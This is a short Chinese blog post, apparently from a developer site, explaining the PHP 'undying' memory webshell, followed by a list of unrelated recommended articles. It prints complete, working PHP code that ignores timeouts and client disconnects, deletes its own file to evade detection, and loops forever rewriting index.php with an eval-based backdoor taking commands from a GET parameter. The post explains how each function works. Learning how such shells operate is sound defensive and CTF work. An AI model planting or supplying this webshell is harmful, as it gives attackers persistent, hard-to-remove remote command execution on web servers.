PHP内存马:不死马

内存马概念

内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码。

不死马剖析

php 复制代码
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while (1) {
        $content = '<?php @eval($_GET["cmd"]);?>';
        file_put_contents("index.php", $content);
        usleep(10000);
    }   
?>
  • set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
  • ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
  • unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
  • file_put_contents函数:将一个字符串写入该文件中
  • usleep函数:延迟执行当前脚本数微秒,即条件竞争

需要特别注意的是,执行 unlink( _ _ FILE _ _ ) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。

相关推荐
飞天小蜈蚣5 小时前
python-django_ORM的基本操作
android·python·django
superman超哥5 小时前
Rust API 设计的零成本抽象原则:性能与表达力的完美统一
开发语言·后端·rust·rust api·抽象原则·性能与表达力
云栖梦泽5 小时前
Rust语言:系统级编程的新时代选择
开发语言
qq_406176145 小时前
什么是模块化
开发语言·前端·javascript·ajax·html5
superman超哥5 小时前
Rust 所有权的三大基本规则:内存安全的类型系统基石
开发语言·后端·rust·内存安全·rust所有权·基本规则·系统基石
菩提祖师_5 小时前
量子计算在网络安全中的应用
开发语言·javascript·爬虫·flutter
we1less5 小时前
[audio] AudioPolicy (一) 分析
android
superman超哥5 小时前
Rust 线程安全性保证(Send 与 Sync):编译期并发安全的类型系统
开发语言·后端·rust·编程语言·并发安全·send与sync·rust线程
TheNextByte15 小时前
如何在不使用USB数据线的情况下将文件从电脑传到安卓手机?
android·智能手机·电脑
倔强的小石头_5 小时前
Python 从入门到实战(十八):学生成绩系统高级功能实战(实时通知与数据看板)
开发语言·python